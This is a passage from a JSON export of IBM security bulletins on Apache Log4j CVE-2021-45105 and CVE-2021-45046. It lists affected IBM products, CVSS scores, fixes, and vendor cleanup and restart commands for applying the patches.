"href": "https://www.ibm.com/support/pages/node/6541182", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-05-23T17:58:41", "description": "## Summary\n\nMultiple vulnerabilities in Apache Log4j could allow an attacker to execute arbitrary code and denial of service on the system. These vulnerabilities may affect IBM Spectrum Scale For IBM Elastic Storage Server because the library is used by the Graphical User Interface (GUI) of IBM Spectrum Scale. \n\n## Vulnerability Details\n\n**CVEID: **[CVE-2021-45105](<https://vulners.com/cve/CVE-2021-45105>) \n**DESCRIPTION: **Apache Log4j is vulnerable to a denial of service, caused by the failure to protect from uncontrolled recursion from self-referential lookups. A remote attacker with control over Thread Context Map (MDC) input data could craft malicious input data that contains a recursive lookup to cause a StackOverflowError that will terminate the process. Note: The vulnerability is also called LOG4J2-3230. \nCVSS Base score: 7.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/215647](<https://exchange.xforce.ibmcloud.com/vulnerabilities/215647>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) \n \n**CVEID: **[CVE-2021-45046](<https://vulners.com/cve/CVE-2021-45046>) \n**DESCRIPTION: **Apache Log4j could result in remote code execution, caused by an incomplete fix of CVE-2021-44228 in certain non-default configurations. When the logging configuration uses a non-default Pattern Layout with a Context Lookup, an attacker with control over Thread Context Map (MDC) input data can craft malicious input data using a JNDI Lookup pattern to leak sensitive information and remote code execution in some environments and local code execution in all environments. \nCVSS Base score: 9 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/215195](<https://exchange.xforce.ibmcloud.com/vulnerabilities/215195>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H)\n\n## Affected Products and Versions\n\n**Affected Product(s)** | **Version(s)** \n---|--- \nIBM Spectrum Scale for IBM Elastic Storage Server | \nV5.3.6.0 - V5.3.7.3 \nIBM Spectrum Scale for IBM Elastic Storage Server | V6.0.1.0 - V6.1.2.1 \n \n## Remediation/Fixes\n\n**IBM strongly recommends addressing the vulnerability by installing the Spectrum Scale for IBM ESS version specific efix:** **Product(s)** | **Remediation(s)** \n---|--- \nIBM Spectrum Scale for IBM Elastic Storage Server V5.3.6.0 - V5.3.7.3 \n\n| For the fix contact [IBM Support](<https://www.ibm.com/mysupport> \"IBM Support\" ) or [call](<https://www.ibm.com/docs/en/spectrum-scale/5.0.4?topic=center-how-contact-support> \"call\" ), reference** APAR IJ36851** \nIBM Spectrum Scale for IBM Elastic Storage Server V6.0.1.0 - V6.1.2.1 | \n\nFor the fix contact [IBM Support](<https://www.ibm.com/mysupport> \"IBM Support\" ) and or [call](<https://www.ibm.com/docs/en/spectrum-scale/5.0.4?topic=center-how-contact-support> \"call\" ), reference** APAR IJ36818** \n \n**Note**: Selected efixes are on Fix Central, see <https://www.ibm.com/support/pages/node/6537748>\n\n## Workarounds and Mitigations\n\nNone\n\n## ", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2021-12-31T15:29:42", "type": "ibm", "title": "Security Bulletin: Multiple vulnerabilities in Apache Log4j impact IBM Spectrum Scale for IBM Elastic Storage Server (CVE-2021-45105,CVE-2021-45046)", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-44228", "CVE-2021-45046", "CVE-2021-45105"], "modified": "2021-12-31T15:29:42", "id": "980930D95C9061C71E85C435692629E07D952BA870609E55949143F9AA635712", "href": "https://www.ibm.com/support/pages/node/6537752", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-05-23T17:35:24", "description": "## Summary\n\nIBM Maximo Application Suite - Monitor Component uses Apache Log4j which is vulnerable to CVE-2021-45105 and CVE-2021-45046.\n\n## Vulnerability Details\n\n** CVEID: **[CVE-2021-45105](<https://vulners.com/cve/CVE-2021-45105>) \n** DESCRIPTION: **Apache Log4j is vulnerable to a denial of service, caused by the failure to protect from uncontrolled recursion from self-referential lookups. A remote attacker with control over Thread Context Map (MDC) input data could craft malicious input data that contains a recursive lookup to cause a StackOverflowError that will terminate the process. Note: The vulnerability is also called LOG4J2-3230. \nCVSS Base score: 7.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/215647](<https://exchange.xforce.ibmcloud.com/vulnerabilities/215647>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) \n \n** CVEID: **[CVE-2021-45046](<https://vulners.com/cve/CVE-2021-45046>) \n** DESCRIPTION: **Apache Log4j could result in remote code execution, caused by an incomplete fix of CVE-2021-44228 in certain non-default configurations. When the logging configuration uses a non-default Pattern Layout with a Context Lookup, an attacker with control over Thread Context Map (MDC) input data can craft malicious input data using a JNDI Lookup pattern to leak sensitive information and remote code execution in some environments and local code execution in all environments. \nCVSS Base score: 9 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/215195](<https://exchange.xforce.ibmcloud.com/vulnerabilities/215195>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H)\n\n## Affected Products and Versions\n\nAffected Product(s)| Version(s) \n---|--- \nIBM Maximo Application Suite - Monitor Component| 8.6.0-8.6.2, 8.7.0 \n \n\n\n## Remediation/Fixes\n\nAffected Product(s)| Fixpack Version(s) \n---|--- \nIBM Maximo Application Suite - Monitor Component| 8.6.3 or latest (available from the Catalog under Update Available) \nIBM Maximo Application Suite - Monitor Component| 8.7.1 or latest (available from the Catalog under Update Available) \n \n## Workarounds and Mitigations\n\nNone\n\n## ", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2023-05-08T20:27:38", "type": "ibm", "title": "Security Bulletin: Apache Log4j is vulnerable to CVE-2021-45105 and CVE-2021-45046 used in IBM Maximo Application Suite - Monitor Component", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-44228", "CVE-2021-45046", "CVE-2021-45105"], "modified": "2023-05-08T20:27:38", "id": "F122C27179362A817F8CF31FDC2906DEDD7B8BBEA33D06FFA42180F0625D22E0", "href": "https://www.ibm.com/support/pages/node/6988975", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-05-23T17:58:07", "description": "## Summary\n\nMultiple Apache Log4j vunerabilities impact Process Federation Server that is shipped with IBM Business Automation Workflow. This vulnerability includes Apache Log4j v2.17.\n\n## Vulnerability Details\n\n** CVEID: **[CVE-2021-45105](<https://vulners.com/cve/CVE-2021-45105>) \n** DESCRIPTION: **Apache Log4j is vulnerable to a denial of service, caused by the failure to protect from uncontrolled recursion from self-referential lookups. A remote attacker with control over Thread Context Map (MDC) input data could craft malicious input data that contains a recursive lookup to cause a StackOverflowError that will terminate the process. Note: The vulnerability is also called LOG4J2-3230. \nCVSS Base score: 7.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/215647](<https://exchange.xforce.ibmcloud.com/vulnerabilities/215647>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) \n \n** CVEID: **[CVE-2021-45046](<https://vulners.com/cve/CVE-2021-45046>) \n** DESCRIPTION: **Apache Log4j could result in remote code execution, caused by an incomplete fix of CVE-2021-44228 in certain non-default configurations. When the logging configuration uses a non-default Pattern Layout with a Context Lookup, an attacker with control over Thread Context Map (MDC) input data can craft malicious input data using a JNDI Lookup pattern to leak sensitive information and remote code execution in some environments and local code execution in all environments. \nCVSS Base score: 9 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/215195](<https://exchange.xforce.ibmcloud.com/vulnerabilities/215195>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H)\n\n## Affected Products and Versions\n\n**Affected Product(s)**| **Version(s)** \n---|--- \nIBM Business Automation Workflow| V21.0 \nV20.0 \nV19.0 \nV18.0 \n \n\n\n## Remediation/Fixes\n\nIBM strongly recommends addressing the vulnerability now applying the Interim Fix: \n\n[IBM Business Automation Workflow](<https://www-945.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm~WebSphere&product=ibm/WebSphere/IBM+Business+Automation+Workflow&release=All&platform=All&function=aparId&apars=JR64435>)\n\nFor more information regarding APAR: [JR64435](<https://www.ibm.com/support/docview.wss?uid=swg1JR64435> \"JR64435\" ). \n\n## Workarounds and Mitigations\n\nNone\n\n## ", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2022-01-13T07:04:20", "type": "ibm", "title": "Security Bulletin: IBM Business Automation Workflow is vulnerable to denial of service and arbitrary code execution due to Apache Log4j (CVE-2021-45105 and CVE-2021-45046)", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-44228", "CVE-2021-45046", "CVE-2021-45105"], "modified": "2022-01-13T07:04:20", "id": "A6B79EA77FF12E690D40F605757B18FA9561F56797862582866D9A26B345F82D", "href": "https://www.ibm.com/support/pages/node/6540542", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-05-23T17:58:07", "description": "## Summary\n\nThere are vulnerabilities in the Apache Log4j open source library. The library is used by IBM CloudPak foundational services which is a dependency of IBM WebSphere Automation for IBM Cloud Pak for Watson AIOps. The fix includes upgrade to Apache Log4j v2.17.\n\n## Vulnerability Details\n\n** CVEID: **[CVE-2021-45105](<https://vulners.com/cve/CVE-2021-45105>) \n** DESCRIPTION: **Apache Log4j is vulnerable to a denial of service, caused by the failure to protect from uncontrolled recursion from self-referential lookups. A remote attacker with control over Thread Context Map (MDC) input data could craft malicious input data that contains a recursive lookup to cause a StackOverflowError that will terminate the process. Note: The vulnerability is also called LOG4J2-3230. \nCVSS Base score: 7.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/215647](<https://exchange.xforce.ibmcloud.com/vulnerabilities/215647>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) \n \n** CVEID: **[CVE-2021-45046](<https://vulners.com/cve/CVE-2021-45046>) \n** DESCRIPTION: **Apache Log4j could result in remote code execution, caused by an incomplete fix of CVE-2021-44228 in certain non-default configurations. When the logging configuration uses a non-default Pattern Layout with a Context Lookup, an attacker with control over Thread Context Map (MDC) input data can craft malicious input data using a JNDI Lookup pattern to leak sensitive information and remote code execution in some environments and local code execution in all environments. \nCVSS Base score: 9 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/215195](<https://exchange.xforce.ibmcloud.com/vulnerabilities/215195>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H)\n\n## Affected Products and Versions\n\n**Affected Product(s)**| **Version(s)** \n---|--- \nIBM WebSphere Automation for IBM Cloud Pak for Watson AIOps| 1.2 \n \n\n\n## Remediation/Fixes\n\nIBM strongly recommends addressing the vulnerability now. The recommended solution involves a component of IBM WebSphere Automation for IBM Cloud Pak for Watson AIOps. The name of the component is IBM CloudPak foundational services (Events Operator). It is recommended to follow the instructions below. \n\nUpgrade to the latest IBM Cloud Pak foundational services release from the IBM Catalog. \n\n**Installing the IBM Cloud Pak foundational services online** \nRefer to the following documentation to perform an online installation:\n\n * [Installing IBM Cloud Pak foundational services online by using the console](<https://www.ibm.com/docs/en/cpfs?topic=314-installing-foundational-services-by-using-console>)\n * [Installing IBM Cloud Pak foundational services online by using the CLI](<https://www.ibm.com/docs/en/cpfs?topic=314-installing-foundational-services-by-using-cli>)\n\nIf the Approval Strategy is set to Automatic in the subscription, the operator will automatically update to the latest version. \nIf the Approval Strategy is set to Manual in the subscription, IBM Cloud Pak foundational services operator cannot be automatically installed or upgraded. For more information, see [Approval strategy](<https://www.ibm.com/docs/en/cpfs?topic=services-configuring-foundational-by-using-custom-resource#approval_strategy>). Update to the latest version. \n \n\n\n**Installing the IBM Cloud Pak foundational services in an air-gapped environment** \nRefer to the following documentation to perform an air-gapped installation:\n\n * [Installing in an air gap environment](<https://www.ibm.com/docs/en/ws-automation?topic=installing-in-air-gap-environment> \"Installing in an air gap environment\" )\n * Ensure that the following environment variable is used when downloading CASE files: \nexport CASE_VERSION=1.2.1\n\n## Workarounds and Mitigations\n\nNone\n\n## ", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2022-01-13T13:59:33", "type": "ibm", "title": "Security Bulletin: Due to Apache Log4j, IBM WebSphere Automation for IBM Cloud Pak for Watson AIOps is vulnerable to arbitrary code execution (CVE-2021-45046) and denial of service (CVE-2021-45105)", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-44228", "CVE-2021-45046", "CVE-2021-45105"], "modified": "2022-01-13T13:59:33", "id": "09E2EB771A00246F88812FA7239EC135B4D760017A61975C9C7DFACAB2B566B3", "href": "https://www.ibm.com/support/pages/node/6540584", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-05-23T17:57:27", "description": "## Summary\n\nThere are vulnerabilities in the version of Apache Log4j that is used by IBM Data Virtualization on Cloud Pak for Data (CVE-2021-45046 and CVE-2021-45105) which is used for logging. The fix includes Apache Log4j 2.17.1.\n\n## Vulnerability Details\n\n** CVEID: **[CVE-2021-45105](<https://vulners.com/cve/CVE-2021-45105>) \n** DESCRIPTION: **Apache Log4j is vulnerable to a denial of service, caused by the failure to protect from uncontrolled recursion from self-referential lookups. A remote attacker with control over Thread Context Map (MDC) input data could craft malicious input data that contains a recursive lookup to cause a StackOverflowError that will terminate the process. Note: The vulnerability is also called LOG4J2-3230. \nCVSS Base score: 7.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/215647](<https://exchange.xforce.ibmcloud.com/vulnerabilities/215647>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) \n \n** CVEID: **[CVE-2021-45046](<https://vulners.com/cve/CVE-2021-45046>) \n** DESCRIPTION: **Apache Log4j could result in remote code execution, caused by an incomplete fix of CVE-2021-44228 in certain non-default configurations. When the logging configuration uses a non-default Pattern Layout with a Context Lookup, an attacker with control over Thread Context Map (MDC) input data can craft malicious input data using a JNDI Lookup pattern to leak sensitive information and remote code execution in some environments and local code execution in all environments. \nCVSS Base score: 9 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/215195](<https://exchange.xforce.ibmcloud.com/vulnerabilities/215195>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H)\n\n## Affected Products and Versions\n\n**Affected Product(s)**| **DV Version(s) \n**| \n\n**CPD ****Version(s) ** \n \n---|---|--- \nIBM Data Virtualization(DV) on Cloud Pak for Data(CPD)| 1.3.0| 2.5.0 \nIBM Data Virtualization(DV) on Cloud Pak for Data(CPD)| 1.4.1| 3.0.1 \nIBM Data Virtualization(DV) on Cloud Pak for Data(CPD)| 1.5.0| \n\n3.5,\n\n3.5 Refresh 1 - 9 \n \nIBM Data Virtualization(DV) on Cloud Pak for Data(CPD)| 1.7.1 - 1.7.3| 4.0 Refresh 1 - 3 \nIBM Data Virtualization(DV) on Cloud Pak for Data(CPD)| 1.7.3| 4.0 Refresh 4 \n \n## Remediation/Fixes\n\n**IBM strongly recommends addressing the vulnerability now.**\n\n**Affected Product(s)**| **DV Version(s) **| **CPD Version(s) **| **Fixes** \n---|---|---|--- \nIBM Data Virtualization(DV) on Cloud Pak for Data(CPD)| 1.3.0| 2.5.0| \n\nUpgrade to version 1.5.0 patch version 1.5.0.0-270 (DV) /\n\n3.5 Refresh 10 (CPD) \n \nIBM Data Virtualization(DV) on Cloud Pak for Data(CPD)| 1.4.1| 3.0.1| \n\nUpgrade to version 1.5.0 patch version 1.5.0.0-270 (DV) /\n\n3.5 Refresh 10 (CPD) \n \nIBM Data Virtualization(DV) on Cloud Pak for Data(CPD)| 1.5.0| \n\n3.5,\n\n3.5 Refresh 1 - 9\n\n| \n\nApply patch version 1.5.0.0-270 (DV) /\n\n3.5 Refresh 10 (CPD) \n \nIBM Data Virtualization(DV) on Cloud Pak for Data(CPD)| 1.7.1 - 1.7.3| 4.0 Refresh 1 - 3| \n\nUpdate to version 1.7.5 (DV) /\n\n4.0 Refresh 5 (CPD) \n \nIBM Data Virtualization(DV) on Cloud Pak for Data(CPD)| 1.7.3| 4.0 Refresh 4| \n\nUpdate to version 1.7.5 (DV) /\n\n4.0 Refresh 5 (CPD) \n \n**You must update the Cloud Pak for Data platform to version 4.0 Refresh 5 to install the fix for Data Virtualization.**\n\nTo update Cloud Pak for Data platform to 4.0 Refresh 5, see the following links:\n\n * [Updating Data Virtualization from Version 3.5](<https://www.ibm.com/docs/SSQNUZ_4.0/svc-dv/dv-operator-upgrade-v35.html> \"Updating Data Virtualization from Version 3.5\" )\n * [Updating Data Virtualization from Version 4.0.1 or later](<https://www.ibm.com/docs/SSQNUZ_4.0/svc-dv/dv-operator-upgrade-v4.html>)\n\n**The following procedure covers the steps after installing the fix for Data Virtualization**.\n\n 1. Run the following steps from the Data Virtualization head pod to manually remove unnecessary files from your updated Data Virtualization instance. These include files that contained old log4j binaries. Not all of the files might be present if you previously installed other log4j fixes. \n\n 1. Log in to the Data Virtualization head pod. \n \n oc rsh c-db2u-dv-db2u-0\n\n 2. Switch to the db2inst1 user. \n \n su - db2inst1\n\n 3. Remove unnecessary JAR files. \n \n rm -rf /mnt/blumeta0/home/db2inst1/sqllib/datavirtualization/dvm_driver/log4j-api-2.8.2.jar /mnt/blumeta0/home/db2inst1/sqllib/datavirtualization/dvm_driver/log4j-core-2.8.2.jar /mnt/blumeta0/home/db2inst1/sqllib/datavirtualization/dvm_driver/log4j-api-2.15.0.jar /mnt/blumeta0/home/db2inst1/sqllib/datavirtualization/dvm_driver/log4j-core-2.15.0.jar /mnt/bludata0/dv/versioned/pre_migration/sqllib/datavirtualization/dvm_driver/log4j-api-2.8.2.jar /mnt/bludata0/dv/versioned/pre_migration/sqllib/datavirtualization/dvm_driver/log4j-core-2.8.2.jar /mnt/bludata0/dv/versioned/pre_migration/sqllib/datavirtualization/dvm_driver/log4j-api-2.15.0.jar /mnt/bludata0/dv/versioned/pre_migration/sqllib/datavirtualization/dvm_driver/log4j-core-2.15.0.jar\n \n ${BIGSQL_CLI_DIR}/BIGSQL/package/scripts/bigsqlPexec.sh -w -c \"rm -rf /mnt/blumeta0/home/db2inst1/sqllib/datavirtualization/dvm_driver/log4j-api-2.8.2.jar\"\n \n ${BIGSQL_CLI_DIR}/BIGSQL/package/scripts/bigsqlPexec.sh -w -c \"rm -rf /mnt/blumeta0/home/db2inst1/sqllib/datavirtualization/dvm_driver/log4j-core-2.8.2.jar\"\n \n ${BIGSQL_CLI_DIR}/BIGSQL/package/scripts/bigsqlPexec.sh -w -c \"rm -rf /mnt/blumeta0/home/db2inst1/sqllib/datavirtualization/dvm_driver/log4j-api-2.15.0.jar\"\n \n ${BIGSQL_CLI_DIR}/BIGSQL/package/scripts/bigsqlPexec.sh -w -c \"rm -rf /mnt/blumeta0/home/db2inst1/sqllib/datavirtualization/dvm_driver/log4j-core-2.15.0.jar\"\n\n 4. Remove unnecessary ZIP and TAR files. \n \n rm -rf /mnt/PV/versioned/uc_dsserver_shared/config/DATAVIRTUALIZATION_ENDPOINT_V1.7*.tar.gz /mnt/PV/versioned/uc_dsserver_shared/config/DATAVIRTUALIZATION_ENDPOINT_V1.7*.zip\n\n 5. Copy the latest TAR file. \n \n cp /opt/ibm/qp_artifacts/archives/DATAVIRTUALIZATION_ENDPOINT_V1.7.5_*.tar.gz /mnt/PV/versioned/uc_dsserver_shared/config\n\n 6. Copy the latest ZIP file. \n \n cp /opt/ibm/qp_artifacts/archives/DATAVIRTUALIZATION_ENDPOINT_V1.7.5_*.zip /mnt/PV/versioned/uc_dsserver_shared/config\n\n 2. Complete the following steps to manually restart head and worker pods to complete applying the fix. This manual restart can be performed by running the following command: \n\n 1. Wait for the Data Virtualization hurricane pod to start up successfully.\n 2. Run the following commands to restart the Data Virtualization head and worker pods: \n \n current_replicas=$(oc get sts c-db2u-dv-db2u -o jsonpath=\"{.spec.replicas}\"); oc scale sts c-db2u-dv-db2u --replicas=0; sleep 3m; oc scale sts c-db2u-dv-db2u --replicas=$current_replicas\n\n 3. If you see the following error message, restart the Data Virtualization hurricane pod and then repeat step 2. b) \n \n ERR api/pkg/cli/sideload/load.go:73 error=\"file is the wrong size: 154274816, expected: 154143232\\n\"\n\n 3. Data Virtualization is now ready to use.\n\n**Note**_:_\n\n_If you run a security vulnerability scanning tool on the Docker images, you might find that some of the affected packages at the affected version are still present on it. _\n\n_Those packages have been modified according to guidance provided by the Apache Log4j development team so that they are no longer vulnerable._\n\n## Workarounds and Mitigations\n\nNone\n\n## ", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2022-01-29T00:31:33", "type": "ibm", "title": "Security Bulletin: IBM Data Virtualization on Cloud Pak for Data is vulnerable to arbitrary code execution (CVE-2021-45046) and denial of service (CVE-2021-45105) due to Apache Log4j", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-44228", "CVE-2021-45046", "CVE-2021-45105"], "modified": "2022-01-29T00:31:33", "id": "185EAAB4DDC8472DF44603A1F8F5361C61E9CD92D640BE3D1EC6D31AE959C4F0", "href": "https://www.ibm.com/support/pages/node/6551744", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-05-23T17:57:25", "description": "## Summary\n\nIBM Sterling Configure, Price, Quote uses Apache Log4j (CVE-2021-45105 and CVE-2021-45046) to log messages. The fix includes Apache Log4j v2.17.\n\n## Vulnerability Details\n\n** CVEID: **[CVE-2021-45105](<https://vulners.com/cve/CVE-2021-45105>) \n** DESCRIPTION: **Apache Log4j is vulnerable to a denial of service, caused by the failure to protect from uncontrolled recursion from self-referential lookups. A remote attacker with control over Thread Context Map (MDC) input data could craft malicious input data that contains a recursive lookup to cause a StackOverflowError that will terminate the process. Note: The vulnerability is also called LOG4J2-3230. \nCVSS Base score: 7.5 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/215647](<https://exchange.xforce.ibmcloud.com/vulnerabilities/215647>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) \n \n** CVEID: **[CVE-2021-45046](<https://vulners.com/cve/CVE-2021-45046>) \n** DESCRIPTION: **Apache Log4j could result in remote code execution, caused by an incomplete fix of CVE-2021-44228 in certain non-default configurations. When the logging configuration uses a non-default Pattern Layout with a Context Lookup, an attacker with control over Thread Context Map (MDC) input data can craft malicious input data using a JNDI Lookup pattern to leak sensitive information and remote code execution in some environments and local code execution in all environments. \nCVSS Base score: 9 \nCVSS Temporal Score: See: [ https://exchange.xforce.ibmcloud.com/vulnerabilities/215195](<https://exchange.xforce.ibmcloud.com/vulnerabilities/215195>) for the current score. \nCVSS Vector: (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H)\n\n## Affected Products and Versions\n\n**Affected Product(s)**| **Version(s)** \n---|--- \nIBM Sterling Configure, Price, Quote (CPQ)| 10 \n \n\n\n## Remediation/Fixes\n\n**IBM strongly recommends addressing the vulnerability now.**\n\nCPQ Visual Modeler Version 10 FP24 is available on Fix central. Fix Central Link: [http://www.ibm.com/support/fixcentral/quickorder?product=ibm%2FOther+software%2FSterling+Configurator&fixids=10.0.0.0-Sterling-VM-All-fp00024&source=SAR](<http://www.ibm.com/support/fixcentral/quickorder?product=ibm%2FOther+software%2FSterling+Configurator&fixids=10.0.0.0-Sterling-VM-All-fp00024&source=SAR>)\n\nRelease Notes: <https://www.ibm.com/docs/en/configurepricequote/10.0?topic=modeler-defects-addressed-in-this-fix-pack>\n\n## Workarounds and Mitigations\n\nNone\n\n## ", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2022-01-28T18:05:14", "type": "ibm", "title": "Security Bulletin: IBM Sterling Configure, Price, Quote is vulnerable to denial of service and arbitrary code execution due to Apache Log4j (CVE-2021-45105 and CVE-2021-45046)", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": 